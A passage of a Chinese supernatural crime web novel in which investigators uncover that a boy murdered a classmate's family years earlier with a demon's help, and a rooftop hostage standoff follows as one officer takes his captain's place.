“没有吧……我没注意。那天我为了调解的事请了半天假,回去还被领导狠批了一通,当时公司还要裁员,我有点危险……我回家就灌了几瓶啤酒,其他的都不太记得了。”冯汝成迟疑了一下:“哦对,我想起来了。那天晚上小坤好像不在家,说是因为被这事心里气不过,偷跑出去通宵上网去了。不过第二天就回来了,也没什么事。” “通宵上网?”周纬眉头就是一皱:“营业性网吧禁止未成年人入内,尤其严禁过夜,你们不知道吗?你们后来去找那个网吧老板核实过吗?” “啊?这……没有。”冯汝成愣了一下:“小坤不是回来了吗,还核实什么?” 周纬:“……” 好个当爹的。 “结果之后那个叫许耀文的孩子就没来上学了,听说是家里发生了燃气爆炸事故,一家三口都没了……”冯汝成叹了口气:“唉,也算是报应吧。” 周纬心中冷笑一声,这可跟报应没有半点关系,报复还差不多。 他得到了想要的信息,将冯汝成交给了进来接手的监察员,推开门走了出去。 众人都在审讯室门外等着。一出门,季凌云就对他道:“小钱已经去联系当年冯坤就读过的那所小学和莱山镇公安局了,要求调取当年案件的详细资料。只不过时间久远,又是发生在学校里的学生打架斗殴事件,警局和学校都不一定会有比较全的案件记录。我让小钱去联系了当年几个事件的当事人,看看能不能有更详细的线索。” 周纬点了点头:“我现在高度怀疑,这个许耀文一家三口的灭门案,就是冯坤和玉一联手犯下的第一个案子。” 季凌云:“怎么说?” “因为在那之后他们所犯下的所有案件都是跟冯汝成相关的,而只有这个案子,是跟冯坤本人直接相关的。”周纬道:“我之前一直觉得奇怪,因为就算冯坤身为人子,想要帮助冯汝成平步青云可以理解,但玉一又有什么理由这么做呢?如果说他是看在冯坤的面子上才去帮助冯汝成的,那他们俩的相识就必定在那之前,而且需要一个契机。” “在他们初见之时,冯坤只是一个八岁的孩子。是什么让玉一一眼看中了他呢?”周纬的眼神暗沉沉的:“他一个杀人如麻的妖类,为什么单单选中了一个冯坤这样一个人类小孩呢?” 众人面面相觑,谁也猜不透这个神经病妖类心里的想法。 周纬深吸一口气:“我猜,是因为冯坤身上有某种特质打动了他,某种跟他很像的特质……杀人的特质。” 众人都是一愣:“什么?” 然而周纬缓缓地闭上了眼睛。 无数声音在他耳边回荡,无数思绪犹如凌乱的线条,在他的脑海里穿梭交织,勾勒出一块庞大阴影的冰山一角。 ——李默之前说过,冯坤曾经问过他:“你杀过人吗?” ——在烂尾楼楼顶交战时,玉一似乎对他丧失战意,不愿再杀他,表现出了极度的失望。 ——甚至在玉一临死前,都曾经用一种混杂着激动、骄傲和兴奋的表情,对他们说过这样的话:“小坤第一次杀人就一点都不害怕,特别有天赋,杀完人之后双眼亮晶晶的,会放出特别好看的光来……” 是因为能够手刃霸凌自己的“仇人”一家,所以才会双眼“亮晶晶的”吗? 是因为当年的那起灭门惨案,才开启了这一人一妖之间,长达七年的孽缘吗? 周纬豁然睁开眼睛。 “杀死许耀文一家三口的不是玉一,而是冯坤,是当年年仅八岁的冯坤。”他突然开口,语速飞快:“玉一只是帮他制造了燃起爆炸的事故现场用以善后和掩埋真相——就像这次废弃仓库案和森川隧道案时他做的一样。” 所有人的眼睛都骇然睁大了。 然而,还不等他们对周纬这个令人毛骨悚然的推测做出什么反应,就听到走廊尽头一阵“哒哒哒”的急促脚步声,杨小钱举着电话飞跑而来。 “组长,不好了!不好了!”他神色惶急,还没跑到眼前就慌张大喊:“我按照你说的去联系了当年事件的相关人员,打电话到冯坤就读的那所学校,才知道当初冯坤的班主任已经退休了——可是我打他本人、家里和女儿的电话都没人接,直到打到他女儿公司,公司同事说今天是他们家小外孙女四岁生日,一家四口报了个旅游团要出去旅游。可我打电话给那个旅游团,旅游团却说他们一直没来!本来约定早上八点出发,但一家四口一个人都没出现!电话也打不通,所有人都联系不上了!” “那一家四口,全都失踪了!” 57.前尘 “小坤,你能看到这封信,就说明我给你准备的东西你已经拿到了。这很好,这样我就放心了。接下来你只要按照这封信上的指示去做,很快就没事的。” “包里有三套证件,证件上你的年龄分别是十五岁、十八岁和二十岁。我不知道你什么时候会用到这个包,所以暂时先给你准备了接下来五年的证件。如果你今年没有来拿,那明年我会换上三套新的,那样就说明我们在一起又过了一年,真好。” 冯坤有力用力擦了擦鼻子,重新拿起纸页的时候指腹在上面留下了一道鲜红的血痕。他恍若无觉地往下读。 “包里面有三张银行卡,密码是你的生日;还有一部手机,里面存了两个电话号码。第一个号码是一个名叫‘水蛇’的人,你联系他之后,他会告诉你一个见面地点,见面之后你把第一张银行卡给他,他就会安排你出国。不要怕,‘水蛇’很有经验,他的出国渠道是安全的。但是也不要信任他,不要对他说太多你自己的事,不要让他看到另外两张银行卡。” “出国之后,你再联系第二个号码,那个人叫‘老孟’,他会安排你在国外的生活和工作……” 再后面的字就有些看不清了。冯坤的双手一直在往外渗血,把薄薄的纸页下半段染成了一团血污,他面无表情地擦了擦,反而越擦越多,最后蹭得字迹完全看不清了。尝试了半天无果之后他终于放弃了,反正他也用不到接下来的指示了。 他把那张纸小心翼翼地折了起来,稳妥地装进胸前的内袋里,像是收好了一件珍贵的宝物。从皮肤上渗出来的血透进内袋,立刻就将那张纸页完全染红了。 随后冯坤拖着他从卧室衣柜里里找出来的那个黑色旅行包,走进了客厅。 客厅的一处墙角里,正畏畏缩缩地挤着他的“猎物”们。 这里正是当年许耀文发生“燃气爆炸”事故的家。 当年的事故发生后,公安和消防部门前来勘查现场,得出了“管道老化导致燃气泄露,引发爆炸”的结论,很是引起了一场风波。因为许耀文家所在的明苑小区,当年是莱山镇上叫得出名号的高档小区,房价虽说不是顶尖,却也着实不低。出了这么一起事故后,开发商和物业焦头烂额,光打官司就打了两年之久。这期间住户们陆陆续续地搬迁,许耀文家所在的这栋楼率先搬空了,之后整个小区也日渐人烟稀少,大家都不想再住在这个死过人、还有安全隐患的小区里。到最后偌大一个小区就只剩下了稀稀拉拉几十户居民,到了晚上每栋楼上零零落落地亮起几盏孤灯,显得幽森又荒凉。 至于许耀文家所在的那幢楼,乃至于周边的几幢,就更是早就完全没人了。 于是冯坤就放心大胆地把“猎物”们都带到了这里。 一家四口,整整齐齐。 多么有意思。七年前他在这里,在这同一所房子里,第一次杀人的时候,杀的同样也是一家三口。 命运兜兜转转绕了个圈,还是回到了原处,就好像冥冥之中在告诉他,一切都注定将在这里终结。 四口人中的父母都被绑住了手脚,塞住了嘴巴,趴在角落里,只能发出一声声含混的呜咽。冯坤用的是他从电影《十二宫》里学来的绑法,先把手脚捆好之后再用绳子绑在一起,这样绑住的人别说挣脱不得,甚至都无法起身,只能胸腹着地趴在地上,可以说是完全丧失了行动能力。 但是他只绑了那对父母,另外两人他没碰。 他径直走到墙角那名老人面前,面无表情地鞠了个躬:“老师好。” 老教师赵明森颤颤巍巍地缩在角落里。他头发花白,脸上戴了副老花镜,镜片已经被砸掉了一个,另一个也裂成了蛛网状,好在身上倒是看不出什么明显的外伤。这名耳顺之年的老教师正拼了命地往后缩,但同时却又张开双臂,老母鸡一样地像是想要保护背后的什么人。他惊恐地瞪着双眼,直勾勾地盯着面前的少年:“你是谁?!你到底想干什么?!” 冯坤直起腰来,拉下了自己遮脸的兜帽:“老师不认识我了么?” 赵明森倒抽一口凉气,一声惊叫卡在了嗓子眼里。 不怪他认不出来,就算是再亲近的人,想要认出此时的冯坤恐怕都有些困难——因为他已经几乎不太像个人了。 随着他拉下兜帽、露出真容,一副骇然的景象出现在他的脸上——他面部的皮肤大块脱落,露出了里面鲜红色的血肉,而那些血肉之中居然还生长着细小的肉芽。那些肉芽像是活物一般,从他的皮下生长出来,在他的脸上欢快地扭曲、蠕动着,一眼看去,,他像是脸上长了无数扭动的蛆虫。 同样的变化也发生在他的身体上。他身上的皮肤也有如经年的墙皮般大块脱落,没有脱落的也在不断地往外渗血。他身上那件蓝白相间的冲锋衣已经被血浸透了,血呲呼啦地黏在他的身上,裸露在外的双手、脖颈等皮肤几乎没有一寸完好。肉芽正从他身体的每一处地方顶开皮肤钻出来,欢呼着呼吸外界自由的空气。 这就是他获得灵力的代价。 玉一说得没错,那些灵力血清果然是有毒的东西。它不仅激活了冯坤的灵力,同时也活性化了他的身上的每一个细胞。他的血肉正在血清的作用下争先恐后地生长,试图逃离这具身躯。 这一幕可怖得简直让人看上一眼都能产生幻痛,然而冯坤却始终面无表情。也许是因为他脸部的肌肉和神经已经被破坏得做不出什么表情来了,也许是因为他其实已经失去了痛觉。 这个画面委实超出了正常人的想象力,乃至震惊和恐惧两种情绪在脑海里撞了车,一时半会儿居然哪个都没能占据上风。赵明森一时之间居然没有感到害怕,至少没有害怕到失去思维能力,他忍着一阵阵的恶心反胃,努力搜肠刮肚地寻找着拖延时间的话术:“你……你不要乱来,我们已经报警了……” “啊,报警吗?”冯坤却突然打断了他:“我也是。” 赵明森:“……” “我也已经报警了,不过我想找的人要从珑湖市区过来,估计还要等一会儿。”冯坤用脚在地上划拉了两下,拨开了几块烧焦的地板碎屑,然后缓缓矮下身,在老教师面前盘腿坐了下来:“放心吧,老师,我暂时还不会杀你们。你们是我的人质,我留着你们还有用。” 赵明森简直判断不出这是个好消息还是坏消息。 冯坤凝视着这张多年不见的苍老脸庞,轻声细语道:“……不过老师,我确实有个问题想要问你。” 老教师蓦然屏住了呼吸。 “我想问,”面前那个怪物一样的少年缓缓抬起头来,扭曲变形的面庞上,一双眼睛像是暗无天日的空洞深井。他轻声道:“当初那次打架,你为什么,要偏帮许耀文呢?” * 珑湖市通往莱山镇的高速公路上,异监局的车队正一路风驰电掣。 “莱山镇派出所那边来消息了!”领先的指挥车里,杨小钱放下电话,神情激动:“二十分钟前,他们确实接到了一个自称‘冯坤’的人打来的报警电话,电话里说他在明苑小区绑架了四个人,要求他们把这个消息通知‘珑湖市异监局’。但是莱山镇派出所级别不够,不知道咱们异监局的存在,接警的人还以为是有人胡说八道报假警,于是只把情况上报到了县公安局,然后派人去核实绑架案的真实性。他们的人现在已经在去那名老教师赵明森家的路上了,估计很快就会有结果。” “不用核实了。”周纬道:“乡镇派出所恐怕警力不足,让县公安局立刻增派警力,对明苑小区进行全面封锁。联系物业把里面的居民一个个疏散出来,注意不要开警灯警笛,不要动静太大,居民全部撤出之后警员也撤离小区范围,只需进行外围封锁即可。冯坤的目标不是他们,但他现在是个什么状态谁也说不好,尽量不要刺激道他。” 杨小钱点了点头,脸上却是一副欲言又止的表情。 季凌云看出了他有话要说:“怎么了?还有什么事?” 杨小钱却偷偷地觑了周纬一眼,面露迟疑。 周纬:“怎么?” 杨小钱深吸了口气:“莱山县那边接警的民警说,报警的那个‘冯坤’曾经说过一句话,指名让珑湖市异监局一个名叫‘周纬’的人过来见他——单独来见,否则他就杀人质。” 所有的人呼吸骤然一滞,坐在周纬旁边的李默骤然握住了他的右手。 然而周纬的脸上却没什么表情。 “这是好事。”他的口吻是一如既往地平静:“既然冯坤的目标是我,暂时他暂时就不会对人质采取什么动作。我原本担心他找之前的那位班主任是为了寻仇,现在看来,这一家四口很可能都还活着。” “活着,就有希望。”他望向前方远远延伸出去的高速公路,眼瞳静如平湖:“我们距离莱山镇还有二十分钟车程,接下来我们要做的就是尽快赶到,这样才能展开救援行动。” 车厢里的剩余几人面面相觑,脸色都有些惊疑不定。然而周纬说得没错,现在他们除了赶路,别的什么也做不了,当下便也不再纠结。周纬更是神色轻松,他的左臂还吊悬在脖子上,右手被李默还攥在手中。他把右手转了个圈,轻轻挠了挠李默的掌心,戏谑似的眨了眨眼睛,用口型道“我休息一会儿”,随即便倚靠在车厢壁上,闭上了眼睛。 他没有看到,在他闭目养神之后,李默的目光却仍然盯着他的脸上,迟迟没有离开。车厢内的灯光随着行驶颠簸晃动,李默的神色晦暗不明。 * 老教师赵明森依然没有认出冯坤,然而“许耀文”三个字却成功地勾起了他的回忆,毕竟许多人执教一生,能遇上的一家三口灭门的情况也不会太多。 顺着“许耀文”这三个字,赵明森终于抓住了一根记忆的线头,把眼前几乎不成人形的少年认出来了。 “冯坤?”他倒吸一口凉气:“你怎么……怎么变成这样了?” 这其实只是一句下意识的惊诧之语,然后不知怎的,冯坤听了这话,却骤然沉默下来。 他默然半晌,突然道:“我变成什么样了?我这样,不好么?” 好?这样算好? 赵明森毛骨悚然,怀疑冯坤身上的那些蛆虫般的肉芽也长进了他的脑子里,这人已经疯了。 然而还没等他做出什么反应,冯坤却歪了歪头,好像突然到了什么似的:“其实,我应该感谢老师你。” "如果不是你当初惩罚得那么偏心,我也不会遇到我的玉一叔。”冯坤道:“你知道我是怎么遇到玉一叔的吗?” 赵明森根本不知道这个所谓的“玉一叔”是谁,他也完全不敢回答。好在冯坤也根本没想着等他的答案,自顾自地说了下去:“我是在埋伏着去杀许耀文的路上,遇到玉一叔的。” 之前他说自己想找的人要过一会儿才能来,现在果然摆出了一副忆往昔的架势,似乎就打算坐在这儿讲着故事,安心地等那人来。面前的三个人大气不敢喘,眼看着这魔头少年脸上露出了回忆的表情,三人一边祈祷那人千万不要来得太早,尽量多拖延一点时间,一边又疯狂盼望着警察下一秒就能神兵天降,救他们于水火之中。 “那天调解完之后,我爸把我领出了学校,让我自己回家,他还要回公司上班。我没听他的,他一走我就去小卖部买了把小刀,等在了学校后面的那条小巷子里。我知道许耀文他们放学之后,总会穿过这条小巷去对面的超市买游戏卡,我就准备在这里宰了他们。其实也不用全部都杀,我只要能杀了许耀文就够了。只要能宰了他,我被他那些狗腿子打死也没什么。” 冯坤摸了一下脸,发现眼睛里也开始渗出血来,好在只是流血,视力暂时还没有受到影响。他恍若无觉,面色平淡地继续说着:“我一直等啊等,等到接近黄昏,还没等来许耀文,结果先等来了我叔。” “我叔问我,是不是真的想杀人。我说是,你猜我叔说什么?” 冯坤突然笑了,露出满口染血的牙齿:“他说他不信。” “其实后来我问过我叔,为什么他那天会出现在那条小巷里,为什么他会选中我。”冯坤像是整个人都沉浸在了回忆里,目光竟然显出了几分平静和柔和:“我叔说他是个杀手,是被我身上的杀意吸引过来的,来了之后看到我居然是个小孩他很吃惊,所以想看看我是不是真的有胆量杀人。” 说到这里,他的语气突然变得有些异样:“但我觉得这不是真话。我一直记得当初初见时,玉一叔看我的那个眼神……当时我拿着刀,等在那条巷子里,准备找许耀文拼命,所以一开始见到他我还以为他是来捣乱的,很生气,很大声地吼了他……当时我叔的表情很惊讶。” 他顿了顿:“我一直觉得我可能是长得像我叔之前认识的一个人……他当时看我的眼神,就像是透过我,看到了另外的某个人。” “小的时候我很在意那个人是谁来着……不过现在没关系了。”停顿了片刻之后,冯坤继续开口,语气平静:“现在叔是我一个人的了。” “当时叔让我先回家,等天黑了再回到这里来,到时候他会带我去一个地方。我不知怎的就答应了,天黑后我再回来,果然看到他已经在原处等着我了。后来他跟我说其实他没想到我真的会回来,还说如果我最后没有回来,他就会追到我家去杀了我,以此作为我让他失望的惩罚。” “我当时没害怕,真的一点都没害怕。可能是因为我当时已经决定跟许耀文拼命了,我没有什么不能豁出去的;也可能是因为我看到我叔的第一眼就相信他,本能地相信他。” “他带我来到了这里,就是这儿,这间屋子。”冯坤朝着四周挥了挥手:“我来的时候许家的那三个人都已经被绑好了,就拴在卧室的床脚,整整齐齐的,像三头待宰的猪。” 他突然顿了顿,望向面前的三个人类:“……就像你们现在一样。” 三个被绑的人齐齐地打了个寒噤。 “我叔给了我一把匕首,那天晚上是我第一次杀人。”冯坤轻声道:“真开心啊……那是我第一次知道,杀人原来是这么开心的一件事。” “我就是在这里捅死了他们,先杀他妈,然后去是他爸爸,最后是许耀文。”他的手抬起了起来,像是在虚空描摹当初三个人被绑缚的轮廓,表情迷醉:“杀人的时候我全程在听着许耀文的尖叫……” 他的目光流露出了几分迷离,手指不自觉地虚握着,轻轻地上下挥舞,像是完全沉入到了这段杀人回忆里,开始回味当初那将别人的生命残虐于股掌之中的快感。然而此时他面前被绑的三个大人却骇然睁大了眼睛,因为他们同时惊惧地意识到了一件事,那就是这段回忆即将走向结尾。 ——可警察还没来! 然而,甚至还没等到冯坤为这段杀人回忆画上一个圆满的句号,几人就同时听见了一个突兀的声音—— 那是一个小女孩的哭声! 冯坤绑架的是一家四口,之前在他突然出现在赵明森家中时,三个大人就进行过一轮反抗,却在冯坤的重力压制下毫无还手之力。当时家中的两名男性试图阻挡冯坤,给妈妈创造机会带着四岁的女儿快跑,可她们没跑多远就被冯坤的重力捕获,妈妈抱着女儿直接被从楼梯上撞了下来。 妈妈摔断了一条腿,四岁的念念则当场昏迷。 之前赵明森和夫妻俩都挤在墙角,拼命地向后靠,就是试图挡住身后的念念——念念还有呼吸,却一直昏迷不醒,三个大人全都悬着一颗心。 然而此时念念突然醒了,三个大人的心却骤然吊得更高了——没想到她醒的这么不是时候! 刹那间冯坤好像从一场大梦中被惊醒,迷醉的表情从他脸上潮水般褪去,他的表情骤然变得狰狞且凶恶,双眼爆射出噬人的精光! 与此同时,趴在地上的妈妈发出一阵含混的尖叫,赵明森和念念爸不约而同地同时骤然弹起,奋不顾身地朝冯坤撞了过去! 赵明森的手脚是自由的,离冯坤也最近,可他手上没有任何武器,也根本没有任何能够制住冯坤的有效方法。这突如其来的一击完全是孤注一掷,他既没有准备也没有后手,情急之下只好伸出一双肉掌,无视了冯坤身上那到处乱蹿的肉芽,狠狠地掐向他的脖子! 而与他同时暴起的念念爸爸更是狼狈。他被捆住了手脚,只能靠着身体在地板上弹动,然而这个戴着眼镜、身材精瘦、文质彬彬的男人不知从哪儿爆发出了一股巨力,身子竟然直接在地板上弹起半米,一头撞向了冯坤的肚子! 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小小的女孩额头上青肿了一块,精心编好的羊角辫散乱了开来,雪白的小脸上满是尘土和泪痕。她从刚刚苏醒过来开始就一直在嚎啕大哭,然而不知是不是被吓傻了,等到冯坤站到她面前时,她反而不哭了,坐在地上仰头呆呆地看着冯坤,甚至抬起手揉了揉自己那双乌黑的大眼睛,抽噎着打了个小小的哭嗝。 冯坤居高临下,表情漠然地看着她。 他突然道:“你有这样的父亲。” 小女孩茫然地回望着他。 冯坤看了她半晌,突然伸出手。小女孩的身体骤然悬浮起来,一下子飘到了半空。半空中的赵明森和地上的念念妈一起尖叫起来,赵明森终于放下了教师的矜持破口大骂,竭力伸长着手臂去抓冯坤的头皮,而念念妈在地上拼命翻滚蠕动着,想要爬到冯坤脚下。 然而冯坤毫无反应。 他只是面无表情地抬头盯着念念,语气平板地重复了一遍自己的话:“你有这样的父亲。” 下一秒,他突然握拳,朝地面猛砸下来! 半空中的念念爆发出了一阵刺耳的尖叫; 赵明森和念念妈的绝望凝聚在了瞳孔里; 墙角边,被撞得满脸是血的男人勉强抬起头来—— 就在这千钧一发之际—— 尖利的警笛声骤然划破长空! 冯坤浑身一僵,挥起的拳头陡然凝滞在半空中,念念的身形下降三尺戛然而止。地面上念念妈的嘴角磨出了血,竟然用双肩和下巴着地滚动着着爬了过去,像是生怕女儿再被摔一次,想用自己的身体给女儿当垫子。 然而冯坤像是已经不在意了。他恍然望向四壁透风的外墙,像是已经看到了外面络绎不绝的警车,和人群之中那个他等了许久的身影。 “啊,终于来了。”他像是自言自语一般,轻声道:“太好了,可以做个了结了。” 他平心静气地说:“我们上去吧。” 说罢,念念妈的身形也跟着漂浮起来。他举着着两大一小三个人,像举着三个悬浮在半空的气球似的,信步走出门去,踏上了前往楼顶的楼梯。 * “周队,灵力探测反应显示冯坤现在人在9楼位置,正在往楼顶的方向移动。” 警笛呼啸而过,警车成群结队。明苑小区此刻已经被全部清空,异监局征用了许耀文家所在楼宇对面的另一幢居民楼,成立了临时作战指挥中心。在顶楼的一个房间里,众多监察员进进出出,忙碌地架设着各种设备,从这里看出去,刚好可以看见许耀文的家和楼顶,各种情况一览无余。 此时调查组三人和周纬、李默齐聚,众人正在听周纬下达作战指示。 “那四名人质呢?”周纬问道。 “有三名被冯坤带着前往楼顶,一名留在原处,似乎是受了伤,具体伤情不明。” 周纬点了点头:“待会儿冯坤到达顶楼之后,先派人救治那名留在原地的人质,从住宅楼的背面上去,注意不要惊动冯坤,一切以人质的安全为最高优先级。” “是!” 监察员领命而去。与此同时,另外一个监察员从旁走来,递给了周纬一副耳麦,然后将微型通话器别在了周纬的衣领上。 众人都看出了周纬这个举动的意思,所有人都悚然一惊。季凌云喝道:“周队!你这是想干什么?” “别嚷。”周纬懒洋洋地瞥了他一眼:“冯坤不是想见我么?我上去跟他聊聊。” 他说的轻松又随意,仿佛只是在说“我去楼顶天台喝杯茶”。然而这个想法果不其然遭到了所有人的反对,季凌云断喝道:“不行!” “没有行动计划,没有配合和支援,只有你自己上去完全不符合行动安全条例。”季凌云眉头紧蹙:“更何况你还有伤在身,太危险了!” “季组长,你觉得那个冯坤会care我们的安全条例么?”周纬不紧不慢地道:“警笛鸣响,冯坤必然知道我们已经到了,要是我迟迟不现身,你猜他会不会不耐烦?他手上现在至少有三名人质,如果我们不按照他的要求做,他一个不高兴杀掉其中一个,到时候是你来赔命还是我来赔命?” 季凌云:“……” “放心吧,我大概知道他想要什么。”周纬轻描淡写地挥了挥手:“我上去,有八成把握可以把那三个人质换下来。到时候下一步的行动就靠你随机应变了,季组长。” 他拍了拍季凌云的肩膀,然后轻轻用力推开了他,就要朝门外走去。 然而下一秒,一个身影挡在了他面前。 周纬淡道:“让开。” 李默:“不让。” 两人近在咫尺地对视。 周纬的神色仍然是轻松淡然的:“临阵抗命么?李默同志,你是不是忘了自己的身份了?” 李默没接他的话,反而道:“我替你去。” “你?你当冯坤瞎么?”周纬失笑:“还是那个问题——要是他看到出现的是你,一气之下拧断了人质脖子怎么办?你给人质偿命么?” 李默道:“好,我偿。” 周纬的话音骤然一噎。 紧接着,他的脸上第一次泛起一层怒色,语调也失去了平静,一把推向李默胸膛:“人质的性命是拿来给你讨价还价的么?!让开!” 他这一推确实是用上了力,然而他此刻左臂还吊绑着,只有一只右手,李默要制住他简直不要太容易。只见他“啪”地一下就攥住了周纬的手腕,将他往身前一拉,低头凝视着他道:“我没有在讨价还价。我也知道冯坤想要什么,我上去,一样可以把人质换下来。” 周纬浑身一僵。 下一秒,他怒容更甚,这一次他直接不准备讲理了,奋力一挣道:“监察员李默!我这不是在跟你商量,这是命令!让开!” 李默道:“我知道,所以我也不是在跟你商量。” 他拉住周纬手腕的左手轻轻一带,就将周纬带进了自己怀里。与此同时,他的右手也轻柔地搭放在了周纬的后颈上。 周纬的眼睛猝然睁大了:“你——” 然而他没有机会说完这句话了。 周纬的身体缓缓软倒,轻轻地倒在了李默怀里。李默弯下腰,小心翼翼地避开他受伤的左臂,轻手轻脚地绕过他的膝弯,将他打横抱了起来。他在一众监察员的目瞪口呆中走到墙边,那里的有几个监察员正准备架设设备,桌边摆了几张空桌子。 李默和颜悦色地道:“借用一下?” 几名监察员愣了半晌,忙不迭地连滚带爬地逃走了,眼睁睁地看着李默将他们说一不二的队长轻拿轻放地摆放在了桌子上,又给他拨开额前的头发,脱下自己的大衣给他披在了身上。 拨开他的额发时李默又走了下神。周纬昏迷之后身体绵软,他刚刚弯腰抱起他的时候,嘴唇不小心擦过了他的头发,唇瓣上现在好像还残留着那丝丝缕缕地触感。 李默有些诧异地心想:“……还挺软。” 然后他摘下了周纬领子上的微型通话器,转过身来,对着一众死机的监察员们,温和有礼地点了点头。 “那么,我上去了。”他道:“周队就拜托你们了。” 58.换命 “等等。” 想也知道这时候会出言阻止的也就只有季凌云了。他一步跨出,伸手一拦,身上竟然隐隐现了灵光。 李默抬起眼睛,波澜不惊地看了他一眼。 他心平气和地道:“季组长,大局为重。” “大局为重。”季凌云重复了一声,神色岿然不动:“人质尚未解救出来,我可以不追究你临阵抗命、袭击上官的事。但我问你,你代替周纬去见冯坤,有什么打算?你说你有把握把人质救出来,把握在哪儿?如果你没有成熟的计划,只是为了保全周队才决定以身相代,那么我不能同意。我不能看着周队以身犯险,但也不能让你们拿人质的安危开玩笑。” 李默好脾气地道:“那季组长有什么打算呢?” 季凌云四平八稳道:“谋定而后动,做好万全准备,最大限度地保证人质和我方监察员的安全。” 然而李默直接打断了他:“没有那么多时间了。” 季凌云一愣 “季组长,要论谋定而后动,我们这些人中,没有一个人能比得上周队。”说到这里,李默回头,眉目温柔地望了昏迷不醒的周纬一眼:“若要筹谋策划,早在来这里的二十分钟路程上,他就该对我们下达指示了。但他却自始至终都没有做出任何安排,你觉得是为什么?他一进明苑小区就下令鸣响警笛,甚至不怕惊动冯坤,你觉得又是为什么?” “因为他就是告诉冯坤,他来了,不要对其他人动手。”李默道:“他知道冯坤既然已经把目标锁定在了他身上,手中又有人质,那么我们必然投鼠忌器,处处掣肘。这时候除了听从他的一切要求,别无他法,任何其他动作都是在拿人质的性命冒险。” 季凌云被他这三两句话说得毛骨悚然:“可如果冯坤只想要周纬,你上去又有什么用?” “有用的。”李默平静道:“冯坤认识我。” “什么?”季凌云骇然一惊。 当时发生在异监局的那场简短的碰面,李默只告诉了周纬一人,其他人都全然不知情。此刻突然得知李默居然和冯坤还有交集,周围人脸上都是一片惊诧之色。 “我应该是目前所有人之中,唯一跟冯坤有过直接接触的人。”李默扫视全场,目光一个个掠过在场监察员或惊疑、或担忧的目光,最后平静地落回到季凌云脸上:“可以说,我对他的了解,比在场的每一位都要更深一些。” “虽然他要求见的人是周队,但我有把握将他的注意力转移到我身上,也可以暂时保人质无虞。”李默道:“季组长,你想要最大限度地保证人质和监察员们的安全,我是唯一的人选。” 这话说得莫名其妙。季凌云愣了愣,像是反应了过来什么,下意识地开口:“你……” 然而就在这时,门外急匆匆闯进来一名监察员:“报告!冯坤已经到楼顶了!” 李默不再言语,最后朝季凌云点了点头,转身就要离开。 “等等!”季凌云骤然脱口而出,随即他像是恍然迟疑了一下,低头一默,再抬头时,他仿佛已经下定了决心。 他道:“我给你解开灵枷。” 李默一愣。连后面静默许久的申彦雪和杨小钱,眼中都乍然闪过惊诧之色。 申彦雪忍不住道:“组长……” 然而季凌云举起一只手,阻止了她的话。 “事急从权,”他清晰、坚定地道:“这次的责任我一力承担。” 李默笑了。 这次不是那种轻柔的、安慰似的笑容,笑意从他漆黑的眼底一层层地漫出来,宛如春风化雨,是一个真心实意的、切切实实的笑容。 “谢谢季组长,但还是不必了。冯坤如果感应到我有了妖力,可能会惊动他的。”李默顿了一顿:“如果季组长确实想要帮我的话,那就在周队苏醒之后帮我劝一劝他,让他不要……不要太生我的气吧。” 说罢,他不再多言,转身出门,身影消失在了门外。 * 住宅楼的楼顶上有个小储藏间,平日里堆放一些维修工具和建筑材料,上面用铁皮遮顶,突出一截,刚好形成了一个下棚子。 冯坤就站在那个棚子下,三个人形气球端端正正地飘在外面,跟三个门神似的。 他爱好看电影,果然还是有些用处的,至少知道自己作为绑匪,要时刻提防无处不在无孔不入的狙击枪,所在的位置刚好可以遮蔽所有窥探的视线,只有一个正面露出,端端正正地对着来人。 李默就是从他对面上来的。 一上天台,李默就闻到了一股刺鼻的血腥味儿——冯坤的血。 他心里往下一沉,白泽所言果然不虚,灵力血清的反噬已经应验在冯坤身上了。 冯坤的境况甚至比刚才还要凄惨。从楼下走上来的这么一会儿功夫,他身上的肉芽已经长到了半指长,那件冲锋衣已经遮蔽不住,于是他干脆脱了衣服,赤/裸/裸地把自己不似人形的身体暴露在了李默眼前。 他望着缓步走来的李默,静默片刻,方才开口:“站住。” 李默听话地站定,距离他仅有二十步远,面色平和地望着他。 对面楼上,所有远观的监察员们全都揪起了一颗心。二十步的距离,对于李默来说只需一个冲刺就能跨越,甚至用不了一个呼吸,他就可以拧断冯坤那脆弱的脖子。然而所有人都心知肚明,没有人敢冒这个风险。 因为再快的速度都快不过一个闪念,而三名人质只要还在悬浮在半空中,冯坤杀死他们也就只需要一个念头而已。 李默也知道这一点,所以他干脆没做任何无谓的尝试。 冯坤安静地望了他片刻。 他的脸上一片血污,此刻委实是任何表情都不可能做出来了。旁人根本无法从神态来判断他心里在想什么,只能见到他从静默半晌之后,突然开口:“周纬死了么?” 李默心平气和地回答他:“没有。” “……我还以为他已经被我的玉一叔杀掉了。”冯坤道:“那为什么不是他来见我?你们是觉得我不敢杀了这三个人么?” “你当然敢,杀人对你来说只是顺手的事。”李默神态自然地道:“是我不让他上来的。我觉得比起他,你应该更想见到我一些。” 冯坤歪了歪头: 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“你觉得是在岚山上,周队的一击重伤了玉一,这才断绝了他活下去的希望是么?所以你才想要找他寻仇。”李默的语气依旧十分平和,甚至称得上耐心十足:“玉一后来确实来找到了我们,他想要刺杀周队,可惜的是,当时我也在周队身边。周队那一击确实伤到了他,但最后了结他性命的人,是我。” “毕竟,玉一好歹也是个妖类。”李默微笑起来,那笑意映照在朗朗天光之下,堪称温柔和煦:“杀死他这个妖类的,只有可能是同为妖类的我,不是么?” 冯坤突然踏前一步。 对面楼上的季凌云立时眼神一凝:“狙击手准备!” 然而冯坤却只是跨出了一步,身形依然没有离开棚子的遮挡,在远处待命的狙击手久候半晌,却依然没能找到开枪的机会。 他只是迈出了那一步,眼神死死地盯在李默身上。 “你既然这么说,”片刻之后,冯坤低声道:“是已经做好付出代价的准备了吗?” “我只是觉得如果你要见杀死玉一的人,那么我比周队更合适一些。”李默轻松自如地道:“现在既然我已经来了,不知道可不可以请你放了这些人质呢?” 悬在空中的三人立刻挣动起来,发出一阵激烈而含混的呜咽。 然而冯坤不为所动。 他的目光自始至终都死死地钉在李默身上,瞳孔中的漩涡像是要把面前的妖类活吞下去。 然而片刻过后,他却缓缓地咧开了嘴。那已经血肉撕裂的嘴唇经受不住这么大幅度的动作,开始“啪嗒啪嗒”地往下滴血。然而冯坤像是感觉不到痛,也感觉不到他正在把他自己的脸颊生生撕裂,就那样噙着血,他露出了一个鲜红的笑容。 “呛啷”一声,一把闪着寒光的利刃突然从棚下飞出,骤然刺入李默的脚边,铮然有声。 “想要救人,可以啊,一命换一命就行。”冯坤蓦然抬头,眼中癫狂混乱的光芒一掠而过:“你杀了我的玉一叔,你就给他陪葬。挖出你的妖核,我就放了他们。” 59.三刀 